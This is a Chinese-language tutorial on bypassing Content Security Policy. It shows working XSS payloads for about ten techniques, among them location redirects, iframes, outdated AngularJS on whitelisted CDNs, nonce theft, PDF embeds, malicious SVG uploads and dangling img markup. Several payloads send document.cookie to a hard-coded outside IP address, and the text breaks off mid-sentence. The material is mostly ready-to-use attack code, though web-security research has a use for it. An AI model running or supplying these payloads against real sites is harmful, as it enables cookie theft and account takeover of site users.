CSP绕过
CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。 CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。
指令 | 示例 | 说明 |
---|---|---|
default-src | ‘self’ cdn.example.com | 定义资源默认加载策略 |
script-src | ‘self’ js.example.com | 定义 JS 的加载策略 |
img-src | ‘self’ img.example.com | 定义图片的加载策略 |
style-src | ‘self’ css.example.com | 定义样式表的加载策略 |
font-src | font.example.com | 定义字体的加载策略、 |
object-src | ‘self’ | 定义引用资源的加载策略,如 等 |
media-src | media.example.com | 定义音频和视频的加载策略,如 HTML5 中的 |
connect-src | ‘self’ | 定义 Ajax、WebSocket 等的加载策略 |
frame-src | ‘self’ | 定义 frame 的加载策略,不赞成使用,改用 child-src |
详细的source list:
源值 | 示例 | 说明 |
---|---|---|
* | img-src * | 通配符,允许除 data: blob: filesystem: 协议之外的任意 URL |
‘none’ | object-src ‘none’ | 不允许加载任何资源 |
‘self’ | script-src ‘self’ | 允许加载同域(即同域名、同协议、同端口)下的资源 |
data: | img-src ‘self’ data: | 允许通过data 协议加载资源如 data:image/jpeg; base64,base64_encode_data |
domain.example.com | img-src domain.example.com | 允许加载指定域名下的资源 |
*.example.com | img-src *.example.com | 允许加载 example.com 下所有子域名的资源 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许执行内联资源,如样式属性、事件、script 标签 |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许不安全的动态代码执行,如 JS 中的 eval() 函数 |
https://cdn.com | img-src https://cdn.com | 只允许给定域名下的通过 HTTPS 连接的资源 |
https: | img-src https: | 只允许通过 HTTPS 连接的资源 |
default-src
default-src
作为所有其他指令的备用,一般来说default-src 'none'; script-src 'self'
这样的情况就会是script-src
遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src
指令所设置的属性。
script-src
script-src
指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫'unsafe-inline'
,如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。
对于这个属性有个特殊的配置叫unsafe-eval
,它会允许下面几个函数:
eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.
location绕过
大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src 'unsafe-inline';
这条规则。 这个地方可以用location跳转:location.href(window.location/window.open)绕过
127.0.0.1/csp/?cl4y=<script>location.href='http://118.25.14.40:8200/cookie/'%2bescape(document.cookie);</script>
利用条件:
-
可以执行任意JS脚本,但是由于CSP无法数据带外
-
csp为
script-src 'unsafe-inline';
iframe绕过
如果有以下两个页面:
<!--safe.php--> <?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> </body> <!--index.php--> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> </body>
safe.php做了csp防护,而index.php没有:
这里可以在index页面新建iframe用javascript直接操作safe页面的dom:
<!--xss代码,要注意url编码--> <script> var iframe = document.createElement('iframe'); iframe.src="./safe.php"; document.body.appendChild(iframe); setTimeout(()=>location.href='http://118.25.14.40:8200/cookie/'+escape(document.cookie),1000); </script>
利用条件:
-
一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
CDN绕过
一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险 案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下
<!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" -->
大概讲一下:因为原来waf对注释完全可信,所以构造一个<!-- foo="bar--> <script>alert(1)</script>" -->
,所以只要闭合注释内容,就可以让后面的完全可控,再加上Client-Side Template Injection中的手法,绕过csp。
这个是存在低版本angular js的cdn服务商列表 除了低版本angular js的模板注入,还有许多库可以绕过CSP 下面引用文章 如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
利用条件:
-
CDN服务商存在某些低版本的js库
-
此CDN服务商在CSP白名单中
站点可控静态资源绕过
给一个绕过codimd的(实例)codimd xss 案例中codimd的CSP中使用了google-analytics 而analytics中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:
-
站点存在可控静态资源
-
站点在CSP白名单中
Base-uri绕过
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径: default-src 'self'; script-src 'nonce-test'
不完整script标签绕过nonce
考虑下下列场景,如果存在这样场景,该怎么绕过CSP
<?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self'; script-src 'nonce-secret'"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> <script nonce='secret'> //do some thing </script> </body>
如果我们输入127.0.0.1/csp/safe.php?cl4y=<script src=data:text/plain,location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);
即可xss 这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script
会变成一个属性,值为空,之后的nonce='secret'
会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src
利用条件:
-
可控点在合法script标签上方,且其中没有其他标签
-
XSS页面的CSP script-src只采用了nonce方式
object-src绕过(PDFXSS)
假如只有这一个页面,我们能有办法执行JS吗
<meta http-equiv="Content-Security-Policy" content="script-src 'self'"> <?php echo $_GET['xss']?>
在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src,也就是插件的src 于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束 pdf-xss为例 PDF文件中允许执行javascript脚本,chrome的一次更新中突然允许加载pdf的javascript脚本
<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>
当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等 具体可以看看这篇文章恶意代码--pdf文件格式解析与恶意攻击脚本分享_java pdf文件攻击脚本-CSDN博客 里面有上面实例用的恶意pdf文件
当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件
利用条件:
-
没有设置object-src,或者object-src没有设置为'none'
-
pdf用的是chrome的默认解析器
SVG绕过
SVG 是使用 XML 来描述二维图形和绘图程序的语言,且SVG标准中也定义了script标签的存在,所以如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss。
当一个网站允许用户上传SVG文件并在网页上展示时,如果未对上传的SVG文件进行严格的过滤和验证,攻击者可以上传包含恶意脚本的SVG文件。当用户访问文件的时候,就会触发XSS
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /> <script>location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);</script> </svg>
不完整的资源标签获取资源
看看下面的例子,我们如何把flag给带出来
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> <?php echo $_GET['xss']?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2>
这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见 虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=
此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上 需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出
利用条件:
-
代码中有执行代码的前提,并且